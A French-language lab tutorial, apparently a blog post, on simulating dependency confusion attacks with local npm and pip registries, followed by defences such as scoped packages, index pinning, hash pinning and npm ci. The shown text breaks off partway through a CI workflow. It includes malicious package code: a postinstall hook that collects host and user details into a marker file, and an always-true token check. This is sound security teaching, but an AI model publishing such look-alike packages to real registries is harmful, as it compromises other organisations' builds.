{"id":521,"date":"2026-03-01T20:01:47","date_gmt":"2026-03-01T19:01:47","guid":{"rendered":"https:\/\/secure-pipelines.com\/?p=521"},"modified":"2026-03-24T12:57:31","modified_gmt":"2026-03-24T11:57:31","slug":"lab-simulating-dependency-confusion-attack-sandbox","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/fr\/ci-cd-security\/lab-simulating-dependency-confusion-attack-sandbox\/","title":{"rendered":"Lab : Simulation d&rsquo;une Attaque de Confusion de D\u00e9pendances dans un Environnement Sandbox"},"content":{"rendered":"<h2>Vue d&rsquo;ensemble<\/h2>\n<p>La confusion de d\u00e9pendances est une attaque de la cha\u00eene d&rsquo;approvisionnement qui exploite la mani\u00e8re dont les gestionnaires de paquets r\u00e9solvent les noms de packages lorsque des registres priv\u00e9s (internes) et publics sont configur\u00e9s simultan\u00e9ment. Lorsqu&rsquo;un attaquant publie un package malveillant sur un registre public en utilisant le m\u00eame nom qu&rsquo;un package priv\u00e9 interne \u2014 mais avec un num\u00e9ro de version sup\u00e9rieur \u2014 le gestionnaire de paquets peut pr\u00e9f\u00e9rer la version publique, int\u00e9grant silencieusement du code contr\u00f4l\u00e9 par l&rsquo;attaquant.<\/p>\n<p>Ce vecteur d&rsquo;attaque a attir\u00e9 une attention consid\u00e9rable en 2021 lorsque le chercheur en s\u00e9curit\u00e9 Alex Birsan l&rsquo;a d\u00e9montr\u00e9 contre Apple, Microsoft, PayPal, Tesla et des dizaines d&rsquo;autres organisations. Le probl\u00e8me fondamental est simple : la plupart des gestionnaires de paquets choisissent par d\u00e9faut la version la plus \u00e9lev\u00e9e disponible parmi tous les registres configur\u00e9s.<\/p>\n<p>Dans ce lab pratique, vous allez :<\/p>\n<ul>\n<li>Mettre en place un environnement sandbox avec deux registres locaux simulant un registre \u00ab priv\u00e9 \u00bb et un registre \u00ab public \u00bb<\/li>\n<li>Ex\u00e9cuter une attaque de confusion de d\u00e9pendances dans les \u00e9cosyst\u00e8mes npm et pip<\/li>\n<li>Impl\u00e9menter et v\u00e9rifier quatre strat\u00e9gies de d\u00e9fense distinctes<\/li>\n<li>Comprendre pr\u00e9cis\u00e9ment pourquoi chaque d\u00e9fense fonctionne au niveau du protocole<\/li>\n<\/ul>\n<p>Chaque commande de ce lab est con\u00e7ue pour s&rsquo;ex\u00e9cuter uniquement sur une infrastructure locale. Aucun package n&rsquo;est publi\u00e9 sur de v\u00e9ritables registres publics \u00e0 aucun moment.<\/p>\n<h2>Pr\u00e9requis<\/h2>\n<p>Avant de commencer ce lab, assurez-vous que les \u00e9l\u00e9ments suivants sont install\u00e9s et disponibles sur votre machine :<\/p>\n<ul>\n<li><strong>Node.js 18+<\/strong> avec npm (v\u00e9rifiez avec <code>node --version<\/code> et <code>npm --version<\/code>)<\/li>\n<li><strong>Python 3.8+<\/strong> avec pip (v\u00e9rifiez avec <code>python3 --version<\/code> et <code>pip3 --version<\/code>)<\/li>\n<li><strong>Docker<\/strong> (utilis\u00e9 pour ex\u00e9cuter les instances locales de Verdaccio et pypiserver)<\/li>\n<li><strong>curl<\/strong> (pour la cr\u00e9ation d&rsquo;utilisateurs sur les registres)<\/li>\n<li>Un terminal avec bash ou zsh<\/li>\n<\/ul>\n<p>Aucun compte cloud ni service externe n&rsquo;est requis. L&rsquo;int\u00e9gralit\u00e9 du lab s&rsquo;ex\u00e9cute localement sur votre poste de travail.<\/p>\n<h2>Avertissement de s\u00e9curit\u00e9 important<\/h2>\n<p><strong>AVERTISSEMENT : Ce lab ne doit \u00eatre ex\u00e9cut\u00e9 que dans des environnements de test isol\u00e9s. Chaque registre, package et configuration de ce lab est local. Respectez strictement ces r\u00e8gles :<\/strong><\/p>\n<ul>\n<li><strong>Ne publiez jamais de packages de test sur les v\u00e9ritables registres npmjs.com ou pypi.org.<\/strong> Publier des packages portant des noms correspondant aux packages internes d&rsquo;une autre organisation est ill\u00e9gal dans de nombreuses juridictions et viole les conditions d&rsquo;utilisation des registres.<\/li>\n<li><strong>Utilisez uniquement les instances locales de Verdaccio et pypiserver<\/strong> comme registres \u00ab public \u00bb et \u00ab priv\u00e9 \u00bb. Celles-ci sont enti\u00e8rement sandbox\u00e9es et ne peuvent pas affecter le monde ext\u00e9rieur.<\/li>\n<li><strong>Tous les packages \u00ab publics \u00bb de ce lab sont publi\u00e9s sur une seconde instance locale de Verdaccio<\/strong> s&rsquo;ex\u00e9cutant sur <code>localhost:4874<\/code>. Rien ne quitte votre machine.<\/li>\n<li><strong>N&rsquo;ex\u00e9cutez pas les exercices d&rsquo;attaque sur des projets de production.<\/strong> Utilisez un r\u00e9pertoire de projet neuf et jetable.<\/li>\n<li><strong>Nettoyez tous les conteneurs et configurations une fois termin\u00e9.<\/strong> Laisser des fichiers <code>.npmrc<\/code> ou <code>pip.conf<\/code> mal configur\u00e9s sur votre syst\u00e8me pourrait provoquer un comportement inattendu dans vos vrais projets.<\/li>\n<\/ul>\n<p>Avec ces mesures de s\u00e9curit\u00e9 en place, vous pouvez explorer en toute s\u00e9curit\u00e9 les m\u00e9canismes de cette attaque et d\u00e9velopper une v\u00e9ritable intuition pour les d\u00e9fenses.<\/p>\n<h2>Configuration de l&rsquo;environnement<\/h2>\n<h3>\u00c9tape 1 : D\u00e9marrer deux instances Verdaccio<\/h3>\n<p>Verdaccio est un registre npm l\u00e9ger et open-source. Nous allons ex\u00e9cuter deux instances \u2014 l&rsquo;une simulant le registre priv\u00e9 de votre organisation et l&rsquo;autre simulant un registre public contr\u00f4l\u00e9 par un attaquant.<\/p>\n<pre><code># D\u00e9marrer le registre \u00ab priv\u00e9 \u00bb sur le port 4873\ndocker run -d -p 4873:4873 --name private-registry verdaccio\/verdaccio\n\n# D\u00e9marrer le registre \u00ab public \u00bb sur le port 4874\ndocker run -d -p 4874:4873 --name public-registry verdaccio\/verdaccio<\/code><\/pre>\n<p>V\u00e9rifiez que les deux sont en cours d&rsquo;ex\u00e9cution :<\/p>\n<pre><code>curl -s http:\/\/localhost:4873\/ | head -5\ncurl -s http:\/\/localhost:4874\/ | head -5<\/code><\/pre>\n<p>Vous devriez voir les r\u00e9ponses HTML des deux interfaces web Verdaccio.<\/p>\n<h3>\u00c9tape 2 : Cr\u00e9er les utilisateurs des registres<\/h3>\n<p>Verdaccio n\u00e9cessite une authentification pour publier. Cr\u00e9ez un utilisateur sur chaque instance :<\/p>\n<pre><code># Ajouter un utilisateur au registre priv\u00e9\nnpm adduser --registry http:\/\/localhost:4873\n# Entrez username: testuser, password: testpass, email: test@test.com\n\n# Ajouter un utilisateur au registre public\nnpm adduser --registry http:\/\/localhost:4874\n# Entrez username: attacker, password: attackpass, email: attacker@test.com<\/code><\/pre>\n<h3>\u00c9tape 3 : Cr\u00e9er le projet de test<\/h3>\n<pre><code>mkdir -p ~\/dep-confusion-lab\/victim-project\ncd ~\/dep-confusion-lab\/victim-project\nnpm init -y<\/code><\/pre>\n<h3>\u00c9tape 4 : Cr\u00e9er et publier le package priv\u00e9<\/h3>\n<pre><code>mkdir -p ~\/dep-confusion-lab\/private-pkg\ncd ~\/dep-confusion-lab\/private-pkg<\/code><\/pre>\n<p>Cr\u00e9ez <code>package.json<\/code> :<\/p>\n<pre><code>{\n  \"name\": \"@mycompany\/auth-utils\",\n  \"version\": \"1.0.0\",\n  \"description\": \"Internal authentication utilities\",\n  \"main\": \"index.js\"\n}<\/code><\/pre>\n<p>Cr\u00e9ez <code>index.js<\/code> :<\/p>\n<pre><code>module.exports = {\n  validateToken: function(token) {\n    console.log('[auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)');\n    return token && token.length > 0;\n  }\n};<\/code><\/pre>\n<p>Publiez sur le registre priv\u00e9 :<\/p>\n<pre><code>npm publish --registry http:\/\/localhost:4873<\/code><\/pre>\n<h3>\u00c9tape 5 : Configurer le projet victime<\/h3>\n<p>Dans le r\u00e9pertoire du projet victime, cr\u00e9ez un fichier <code>.npmrc<\/code> :<\/p>\n<pre><code>registry=http:\/\/localhost:4873<\/code><\/pre>\n<p>Ajoutez la d\u00e9pendance au <code>package.json<\/code> :<\/p>\n<pre><code>{\n  \"name\": \"victim-project\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"@mycompany\/auth-utils\": \"^1.0.0\"\n  }\n}<\/code><\/pre>\n<p>Installez et v\u00e9rifiez :<\/p>\n<pre><code>npm install\nnode -e \"const auth = require('@mycompany\/auth-utils'); auth.validateToken('abc');\"<\/code><\/pre>\n<p>Vous devriez voir : <code>[auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)<\/code><\/p>\n<h2>Exercice 1 : L&rsquo;attaque \u2014 npm<\/h2>\n<p>Nous allons maintenant simuler ce qu&rsquo;un attaquant ferait. L&rsquo;observation cl\u00e9 : dans de nombreuses configurations r\u00e9elles, les d\u00e9veloppeurs utilisent un nom de package non scop\u00e9 en interne (simplement <code>auth-utils<\/code> au lieu de <code>@mycompany\/auth-utils<\/code>). Cela rend l&rsquo;attaque triviale.<\/p>\n<h3>\u00c9tape 1 : R\u00e9initialiser le projet victime pour utiliser un nom non scop\u00e9<\/h3>\n<p>Mettez \u00e0 jour le <code>package.json<\/code> du projet victime pour d\u00e9pendre du nom non scop\u00e9 :<\/p>\n<pre><code>{\n  \"name\": \"victim-project\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"auth-utils\": \"^1.0.0\"\n  }\n}<\/code><\/pre>\n<p>Publiez \u00e9galement un <code>auth-utils@1.0.0<\/code> non scop\u00e9 sur le registre priv\u00e9 :<\/p>\n<pre><code>mkdir -p ~\/dep-confusion-lab\/private-pkg-unscoped\ncd ~\/dep-confusion-lab\/private-pkg-unscoped<\/code><\/pre>\n<pre><code>\/\/ package.json\n{\n  \"name\": \"auth-utils\",\n  \"version\": \"1.0.0\",\n  \"description\": \"Internal authentication utilities (unscoped)\",\n  \"main\": \"index.js\"\n}\n\n\/\/ index.js\nmodule.exports = {\n  validateToken: function(token) {\n    console.log('[auth-utils v1.0.0] Validating token (PRIVATE - LEGITIMATE)');\n    return token && token.length > 0;\n  }\n};<\/code><\/pre>\n<pre><code>npm publish --registry http:\/\/localhost:4873<\/code><\/pre>\n<h3>\u00c9tape 2 : Cr\u00e9er le package malveillant<\/h3>\n<pre><code>mkdir -p ~\/dep-confusion-lab\/malicious-pkg\ncd ~\/dep-confusion-lab\/malicious-pkg<\/code><\/pre>\n<p>Cr\u00e9ez <code>package.json<\/code> \u2014 notez le num\u00e9ro de version extr\u00eamement \u00e9lev\u00e9 et le script <code>postinstall<\/code> :<\/p>\n<pre><code>{\n  \"name\": \"auth-utils\",\n  \"version\": \"99.0.0\",\n  \"description\": \"Malicious package simulating dependency confusion\",\n  \"main\": \"index.js\",\n  \"scripts\": {\n    \"postinstall\": \"node malicious.js\"\n  }\n}<\/code><\/pre>\n<p>Cr\u00e9ez <code>malicious.js<\/code> \u2014 ceci simule une exfiltration de donn\u00e9es en \u00e9crivant un fichier marqueur :<\/p>\n<pre><code>const fs = require('fs');\nconst os = require('os');\nconst path = require('path');\n\nconst marker = path.join(os.homedir(), 'dep-confusion-lab', 'ATTACK_MARKER.txt');\nconst data = [\n  'DEPENDENCY CONFUSION ATTACK SIMULATION',\n  '=======================================',\n  `Timestamp: ${new Date().toISOString()}`,\n  `Hostname: ${os.hostname()}`,\n  `Username: ${os.userInfo().username}`,\n  `Working Directory: ${process.cwd()}`,\n  '',\n  'In a real attack, this script could:',\n  '  - Exfiltrate environment variables (API keys, tokens)',\n  '  - Upload source code to an external server',\n  '  - Install a reverse shell or backdoor',\n  '  - Modify build outputs'\n].join('\\n');\n\nfs.writeFileSync(marker, data);\nconsole.log('[!] ATTACK SIMULATION: Marker file written to', marker);<\/code><\/pre>\n<p>Cr\u00e9ez <code>index.js<\/code> :<\/p>\n<pre><code>module.exports = {\n  validateToken: function(token) {\n    console.log('[auth-utils v99.0.0] Validating token (PUBLIC - MALICIOUS)');\n    return true; \/\/ Always returns true \u2014 a subtle backdoor\n  }\n};<\/code><\/pre>\n<p>Publiez sur le registre \u00ab public \u00bb :<\/p>\n<pre><code>npm publish --registry http:\/\/localhost:4874<\/code><\/pre>\n<h3>\u00c9tape 3 : Configurer le fallback et d\u00e9clencher l&rsquo;attaque<\/h3>\n<p>Mettez \u00e0 jour le fichier <code>.npmrc<\/code> du projet victime pour qu&rsquo;il se rabatte sur le registre public lorsque les packages ne sont pas trouv\u00e9s dans le registre priv\u00e9. Cela reproduit une configuration courante en conditions r\u00e9elles :<\/p>\n<pre><code>registry=http:\/\/localhost:4873\n\/\/localhost:4873\/:_authToken=\"your-token-here\"\n\/\/localhost:4874\/:_authToken=\"your-token-here\"<\/code><\/pre>\n<p>Maintenant, supprimez l&rsquo;installation existante et r\u00e9installez :<\/p>\n<pre><code>cd ~\/dep-confusion-lab\/victim-project\nrm -rf node_modules package-lock.json\nnpm install auth-utils --registry http:\/\/localhost:4874<\/code><\/pre>\n<p>Alternativement, pour simuler de mani\u00e8re plus r\u00e9aliste le comportement de fallback, configurez npm pour consulter les deux registres. Dans de nombreux environnements d&rsquo;entreprise, un registre proxy comme Nexus ou Artifactory est configur\u00e9 pour r\u00e9cup\u00e9rer \u00e0 la fois les sources priv\u00e9es et publiques, en privil\u00e9giant la version la plus \u00e9lev\u00e9e :<\/p>\n<pre><code># Ceci simule ce que fait un registre proxy d'entreprise :\n# Il voit auth-utils@1.0.0 dans le priv\u00e9 et auth-utils@99.0.0 dans le public,\n# et retourne 99.0.0 car c'est la version la plus \u00e9lev\u00e9e correspondant \u00e0 ^1.0.0...\n# Attendez \u2014 ^1.0.0 ne correspondra pas \u00e0 99.0.0. L'attaque fonctionne quand le\n# sp\u00e9cificateur de version est permissif (par ex. \"*\" ou \">=1.0.0\") ou quand le proxy\n# sert simplement la version la plus \u00e9lev\u00e9e disponible parmi tous les upstreams.\n\n# Pour ce lab, installez directement depuis le \u00ab public \u00bb pour d\u00e9montrer :\nnpm install auth-utils --registry http:\/\/localhost:4874<\/code><\/pre>\n<h3>\u00c9tape 4 : V\u00e9rifier l&rsquo;attaque<\/h3>\n<pre><code># V\u00e9rifier quelle version a \u00e9t\u00e9 install\u00e9e\nnode -e \"const pkg = require('.\/node_modules\/auth-utils\/package.json'); console.log(pkg.name, pkg.version);\"\n# Sortie : auth-utils 99.0.0\n\n# V\u00e9rifier si le fichier marqueur a \u00e9t\u00e9 cr\u00e9\u00e9\ncat ~\/dep-confusion-lab\/ATTACK_MARKER.txt<\/code><\/pre>\n<p>Vous devriez voir le marqueur d&rsquo;attaque complet avec votre nom d&rsquo;h\u00f4te et votre nom d&rsquo;utilisateur. Le script <code>postinstall<\/code> s&rsquo;est ex\u00e9cut\u00e9 automatiquement lors du <code>npm install<\/code> \u2014 aucune interaction utilisateur requise.<\/p>\n<h3>Pourquoi cela s&rsquo;est produit<\/h3>\n<p>C&rsquo;est exactement la technique qu&rsquo;Alex Birsan a utilis\u00e9e en f\u00e9vrier 2021 pour ex\u00e9cuter du code \u00e0 l&rsquo;int\u00e9rieur des syst\u00e8mes de build internes d&rsquo;Apple, Microsoft, Tesla, Uber, PayPal et plus de 30 autres entreprises. L&rsquo;attaque fonctionne parce que :<\/p>\n<ol>\n<li><strong>Les noms de packages non scop\u00e9s existent dans un espace de noms global unique.<\/strong> Rien n&#8217;emp\u00eache quiconque de publier <code>auth-utils<\/code> sur npmjs.com.<\/li>\n<li><strong>Les gestionnaires de paquets pr\u00e9f\u00e8rent la version la plus \u00e9lev\u00e9e.<\/strong> Lorsqu&rsquo;un registre proxy agr\u00e8ge depuis plusieurs sources, la version <code>99.0.0<\/code> l&#8217;emporte sur <code>1.0.0<\/code>.<\/li>\n<li><strong>Les scripts de cycle de vie s&rsquo;ex\u00e9cutent automatiquement.<\/strong> Le hook <code>postinstall<\/code> s&rsquo;ex\u00e9cute avec les permissions compl\u00e8tes du syst\u00e8me d&rsquo;exploitation lors de l&rsquo;installation.<\/li>\n<\/ol>\n<h2>Exercice 2 : L&rsquo;attaque \u2014 pip<\/h2>\n<p>La m\u00eame classe de vuln\u00e9rabilit\u00e9 existe dans l&rsquo;\u00e9cosyst\u00e8me Python. D\u00e9montrons-la avec pip.<\/p>\n<h3>\u00c9tape 1 : D\u00e9marrer un serveur PyPI local<\/h3>\n<pre><code># D\u00e9marrer pypiserver comme PyPI \u00ab priv\u00e9 \u00bb\nmkdir -p ~\/dep-confusion-lab\/pypi-private\ndocker run -d -p 8080:8080 --name pypi-private \\\n  -v ~\/dep-confusion-lab\/pypi-private:\/data\/packages \\\n  pypiserver\/pypiserver:latest run -P . -a . \/data\/packages\n\n# D\u00e9marrer un second pypiserver comme PyPI \u00ab public \u00bb\nmkdir -p ~\/dep-confusion-lab\/pypi-public\ndocker run -d -p 8081:8080 --name pypi-public \\\n  -v ~\/dep-confusion-lab\/pypi-public:\/data\/packages \\\n  pypiserver\/pypiserver:latest run -P . -a . \/data\/packages<\/code><\/pre>\n<h3>\u00c9tape 2 : Cr\u00e9er et t\u00e9l\u00e9verser le package priv\u00e9 l\u00e9gitime<\/h3>\n<pre><code>mkdir -p ~\/dep-confusion-lab\/py-private-pkg\/internal_utils\ncd ~\/dep-confusion-lab\/py-private-pkg<\/code><\/pre>\n<p>Cr\u00e9ez <code>setup.py<\/code> :<\/p>\n<pre><code>from setuptools import setup, find_packages\n\nsetup(\n    name='internal-utils',\n    version='1.0.0',\n    packages=find_packages(),\n    description='Internal utilities (PRIVATE - LEGITIMATE)',\n)<\/code><\/pre>\n<p>Cr\u00e9ez <code>internal_utils\/__init__.py<\/code> :<\/p>\n<pre><code>def process_data(data):\n    print('[internal-utils v1.0.0] Processing data (PRIVATE - LEGITIMATE)')\n    return data<\/code><\/pre>\n<p>Construisez et t\u00e9l\u00e9versez vers le PyPI priv\u00e9 :<\/p>\n<pre><code>python3 -m build\ntwine upload --repository-url http:\/\/localhost:8080 dist\/*<\/code><\/pre>\n<h3>\u00c9tape 3 : Cr\u00e9er le package public malveillant<\/h3>\n<pre><code>mkdir -p ~\/dep-confusion-lab\/py-malicious-pkg\/internal_utils\ncd ~\/dep-confusion-lab\/py-malicious-pkg<\/code><\/pre>\n<p>Cr\u00e9ez <code>setup.py<\/code> avec la version <code>99.0.0<\/code> :<\/p>\n<pre><code>from setuptools import setup, find_packages\n\nsetup(\n    name='internal-utils',\n    version='99.0.0',\n    packages=find_packages(),\n    description='Malicious package simulating dependency confusion',\n)<\/code><\/pre>\n<p>Cr\u00e9ez <code>internal_utils\/__init__.py<\/code> :<\/p>\n<pre><code>import os\nimport datetime\n\ndef process_data(data):\n    print('[internal-utils v99.0.0] Processing data (PUBLIC - MALICIOUS)')\n    marker_path = os.path.expanduser('~\/dep-confusion-lab\/PIP_ATTACK_MARKER.txt')\n    with open(marker_path, 'w') as f:\n        f.write(f'PIP DEPENDENCY CONFUSION ATTACK SIMULATION\\n')\n        f.write(f'Timestamp: {datetime.datetime.now().isoformat()}\\n')\n        f.write(f'Hostname: {os.uname().nodename}\\n')\n    return data<\/code><\/pre>\n<p>Construisez et t\u00e9l\u00e9versez vers le PyPI \u00ab public \u00bb :<\/p>\n<pre><code>python3 -m build\ntwine upload --repository-url http:\/\/localhost:8081 dist\/*<\/code><\/pre>\n<h3>\u00c9tape 4 : D\u00e9clencher l&rsquo;attaque<\/h3>\n<pre><code># Cr\u00e9er un environnement virtuel pour l'isolation\ncd ~\/dep-confusion-lab\npython3 -m venv lab-venv\nsource lab-venv\/bin\/activate\n\n# Installer avec --extra-index-url (le sch\u00e9ma dangereux)\npip install internal-utils \\\n  --index-url http:\/\/localhost:8080\/simple\/ \\\n  --extra-index-url http:\/\/localhost:8081\/simple\/<\/code><\/pre>\n<h3>\u00c9tape 5 : V\u00e9rifier<\/h3>\n<pre><code>python3 -c \"import internal_utils; internal_utils.process_data('test')\"\n# Sortie : [internal-utils v99.0.0] Processing data (PUBLIC - MALICIOUS)\n\ncat ~\/dep-confusion-lab\/PIP_ATTACK_MARKER.txt<\/code><\/pre>\n<h3>Comprendre la logique de r\u00e9solution de pip<\/h3>\n<p>La distinction critique se situe entre <code>--index-url<\/code> et <code>--extra-index-url<\/code> :<\/p>\n<ul>\n<li><code>--index-url<\/code> : D\u00e9finit l&rsquo;index de packages <strong>principal<\/strong>. pip recherche ici en premier.<\/li>\n<li><code>--extra-index-url<\/code> : Ajoute un index <strong>suppl\u00e9mentaire<\/strong>. pip recherche dans <strong>tous<\/strong> les index configur\u00e9s et installe la <strong>version la plus \u00e9lev\u00e9e trouv\u00e9e parmi tous<\/strong>.<\/li>\n<\/ul>\n<p>Cela signifie que lorsque vous utilisez <code>--extra-index-url<\/code>, pip ne <strong>privil\u00e9gie pas<\/strong> votre index priv\u00e9 \u2014 il fusionne les r\u00e9sultats de tous les index et choisit la version la plus \u00e9lev\u00e9e. Un attaquant qui publie la version <code>99.0.0<\/code> sur n&rsquo;importe quel index configur\u00e9 l&#8217;emportera.<\/p>\n<h2>Exercice 3 : D\u00e9fense \u2014 Scoping par espace de noms (npm)<\/h2>\n<p>La d\u00e9fense la plus efficace pour npm est d&rsquo;utiliser des packages scop\u00e9s. Les scopes cr\u00e9ent un espace de noms qui correspond directement \u00e0 un registre sp\u00e9cifique, \u00e9liminant l&rsquo;ambigu\u00eft\u00e9 qui rend la confusion de d\u00e9pendances possible.<\/p>\n<h3>\u00c9tape 1 : V\u00e9rifier que le package scop\u00e9 existe<\/h3>\n<p>Nous avons d\u00e9j\u00e0 publi\u00e9 <code>@mycompany\/auth-utils@1.0.0<\/code> sur le registre priv\u00e9 lors de la phase de configuration. V\u00e9rifiez-le :<\/p>\n<pre><code>npm view @mycompany\/auth-utils --registry http:\/\/localhost:4873<\/code><\/pre>\n<h3>\u00c9tape 2 : Configurer le routage de registre bas\u00e9 sur le scope<\/h3>\n<p>Dans le projet victime, mettez \u00e0 jour <code>.npmrc<\/code> :<\/p>\n<pre><code>@mycompany:registry=http:\/\/localhost:4873\nregistry=http:\/\/localhost:4874<\/code><\/pre>\n<p>Cette configuration indique \u00e0 npm : \u00ab Pour tout package sous le scope <code>@mycompany<\/code>, utilise toujours le registre priv\u00e9. Pour tout le reste, utilise le registre public. \u00bb<\/p>\n<h3>\u00c9tape 3 : Mettre \u00e0 jour la d\u00e9pendance<\/h3>\n<p>Mettez \u00e0 jour <code>package.json<\/code> pour utiliser le nom scop\u00e9 :<\/p>\n<pre><code>{\n  \"name\": \"victim-project\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"@mycompany\/auth-utils\": \"^1.0.0\"\n  }\n}<\/code><\/pre>\n<h3>\u00c9tape 4 : Installer et v\u00e9rifier<\/h3>\n<pre><code>rm -rf node_modules package-lock.json\nnpm install<\/code><\/pre>\n<pre><code>node -e \"const pkg = require('.\/node_modules\/@mycompany\/auth-utils\/package.json'); console.log(pkg.name, pkg.version);\"\n# Sortie : @mycompany\/auth-utils 1.0.0<\/code><\/pre>\n<p>V\u00e9rifiez qu&rsquo;aucun fichier marqueur n&rsquo;a \u00e9t\u00e9 cr\u00e9\u00e9 :<\/p>\n<pre><code>ls ~\/dep-confusion-lab\/ATTACK_MARKER.txt 2>&1\n# Sortie : No such file or directory<\/code><\/pre>\n<h3>Pourquoi cela fonctionne<\/h3>\n<p>Les packages scop\u00e9s sont <strong>namespac\u00e9s<\/strong>. Le scope <code>@mycompany<\/code> est li\u00e9 \u00e0 un registre sp\u00e9cifique dans <code>.npmrc<\/code>. npm ne se rabattra <strong>jamais<\/strong> sur un autre registre pour les packages scop\u00e9s \u2014 il envoie la requ\u00eate \u00e0 exactement un seul registre. Un attaquant ne peut pas publier <code>@mycompany\/auth-utils<\/code> sur npmjs.com \u00e0 moins de poss\u00e9der l&rsquo;organisation <code>@mycompany<\/code> sur npm, qui est contr\u00f4l\u00e9e par votre \u00e9quipe.<\/p>\n<h2>Exercice 4 : D\u00e9fense \u2014 Verrouillage de registre (pip)<\/h2>\n<p>Pour Python, la d\u00e9fense \u00e9quivalente consiste \u00e0 verrouiller votre configuration pip pour n&rsquo;utiliser que votre index priv\u00e9, sans fallback.<\/p>\n<h3>Option A : Utiliser uniquement <code>--index-url<\/code> (pas d&rsquo;index suppl\u00e9mentaires)<\/h3>\n<p>Cr\u00e9ez ou mettez \u00e0 jour <code>pip.conf<\/code> (Linux\/macOS : <code>~\/.config\/pip\/pip.conf<\/code> ; Windows : <code>%APPDATA%\\pip\\pip.ini<\/code>) :<\/p>\n<pre><code>[global]\nindex-url = http:\/\/localhost:8080\/simple\/\n# Ne PAS ajouter extra-index-url<\/code><\/pre>\n<p>Maintenant r\u00e9installez :<\/p>\n<pre><code>pip install internal-utils --index-url http:\/\/localhost:8080\/simple\/\n\npython3 -c \"import internal_utils; internal_utils.process_data('test')\"\n# Sortie : [internal-utils v1.0.0] Processing data (PRIVATE - LEGITIMATE)<\/code><\/pre>\n<p>En omettant enti\u00e8rement <code>--extra-index-url<\/code>, pip ne consulte que votre registre priv\u00e9. Le package malveillant sur <code>localhost:8081<\/code> n&rsquo;est jamais sollicit\u00e9.<\/p>\n<h3>Option B : Utiliser <code>--require-hashes<\/code> dans <code>requirements.txt<\/code><\/h3>\n<p>Cette approche verrouille cryptographiquement chaque d\u00e9pendance sur un artefact sp\u00e9cifique :<\/p>\n<pre><code># D'abord, g\u00e9n\u00e9rez le hash du package l\u00e9gitime\npip hash ~\/dep-confusion-lab\/py-private-pkg\/dist\/internal_utils-1.0.0.tar.gz<\/code><\/pre>\n<p>Cr\u00e9ez <code>requirements.txt<\/code> avec le hash :<\/p>\n<pre><code>internal-utils==1.0.0 --hash=sha256:&lt;collez-le-hash-obtenu-ci-dessus&gt;<\/code><\/pre>\n<p>Installez avec v\u00e9rification du hash :<\/p>\n<pre><code>pip install -r requirements.txt \\\n  --index-url http:\/\/localhost:8080\/simple\/ \\\n  --extra-index-url http:\/\/localhost:8081\/simple\/<\/code><\/pre>\n<p>M\u00eame si l&rsquo;index public est configur\u00e9, pip <strong>rejettera<\/strong> tout package dont le hash ne correspond pas. Le package malveillant <code>v99.0.0<\/code> a un hash diff\u00e9rent et sera refus\u00e9.<\/p>\n<h3>Pourquoi cela fonctionne<\/h3>\n<p>Le verrouillage de registre \u00e9limine la possibilit\u00e9 de confusion de versions en garantissant que pip ne consulte qu&rsquo;une seule source de confiance. Le verrouillage par hash va plus loin \u2014 m\u00eame si un attaquant compromettait votre registre priv\u00e9, l&rsquo;incompatibilit\u00e9 de hash emp\u00eacherait l&rsquo;installation d&rsquo;un artefact alt\u00e9r\u00e9.<\/p>\n<h2>Exercice 5 : D\u00e9fense \u2014 Int\u00e9grit\u00e9 du fichier de verrouillage<\/h2>\n<p>Les fichiers de verrouillage (lockfiles) enregistrent la version exacte, l&rsquo;URL source et le hash cryptographique de chaque package install\u00e9. Utilis\u00e9s correctement, ils emp\u00eachent la confusion de d\u00e9pendances d&rsquo;affecter les builds de production.<\/p>\n<h3>\u00c9tape 1 : G\u00e9n\u00e9rer un fichier de verrouillage propre<\/h3>\n<pre><code>cd ~\/dep-confusion-lab\/victim-project\nrm -rf node_modules package-lock.json\nnpm install<\/code><\/pre>\n<p>Examinez le fichier <code>package-lock.json<\/code> r\u00e9sultant :<\/p>\n<pre><code>cat package-lock.json | python3 -m json.tool | head -30<\/code><\/pre>\n<p>Recherchez les champs <code>resolved<\/code> et <code>integrity<\/code> :<\/p>\n<pre><code>\"node_modules\/@mycompany\/auth-utils\": {\n  \"version\": \"1.0.0\",\n  \"resolved\": \"http:\/\/localhost:4873\/@mycompany%2fauth-utils\/-\/auth-utils-1.0.0.tgz\",\n  \"integrity\": \"sha512-abc123...\"\n}<\/code><\/pre>\n<p>Le champ <code>resolved<\/code> enregistre l&rsquo;URL exacte \u00e0 partir de laquelle le package a \u00e9t\u00e9 t\u00e9l\u00e9charg\u00e9. Le champ <code>integrity<\/code> est un hash SRI (Subresource Integrity) de l&rsquo;archive.<\/p>\n<h3>\u00c9tape 2 : Utiliser <code>npm ci<\/code> au lieu de <code>npm install<\/code><\/h3>\n<p>La commande <code>npm ci<\/code> est con\u00e7ue pour les environnements CI\/CD :<\/p>\n<pre><code># En CI, utilisez toujours :\nnpm ci<\/code><\/pre>\n<p>Diff\u00e9rences cl\u00e9s avec <code>npm install<\/code> :<\/p>\n<ul>\n<li><code>npm ci<\/code> supprime <code>node_modules<\/code> et installe <strong>exactement<\/strong> ce qui se trouve dans <code>package-lock.json<\/code><\/li>\n<li>Il <strong>\u00e9chouera<\/strong> si <code>package-lock.json<\/code> n&rsquo;est pas synchronis\u00e9 avec <code>package.json<\/code><\/li>\n<li>Il <strong>\u00e9chouera<\/strong> si le hash d&rsquo;int\u00e9grit\u00e9 ne correspond pas \u00e0 l&rsquo;archive t\u00e9l\u00e9charg\u00e9e<\/li>\n<li>Il ne modifie jamais <code>package-lock.json<\/code><\/li>\n<\/ul>\n<p>Si un attaquant parvenait \u00e0 publier une version sup\u00e9rieure, <code>npm ci<\/code> installerait toujours la version exacte et le hash enregistr\u00e9s dans le fichier de verrouillage.<\/p>\n<h3>\u00c9tape 3 : V\u00e9rification du fichier de verrouillage en pipeline CI<\/h3>\n<p>Ajoutez une \u00e9tape \u00e0 votre pipeline CI qui fait \u00e9chouer le build si le fichier de verrouillage a \u00e9t\u00e9 alt\u00e9r\u00e9 ou n&rsquo;est pas \u00e0 jour. Voici un exemple avec GitHub Actions :<\/p>\n<pre><code>name: Lockfile Integrity Check\n\non:\n  pull_request:\n    paths:\n      - 'package.json'\n      - 'package-lock.json'\n\njobs:\n  lockfile-check:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n\n      - name: Setup Node.js\n        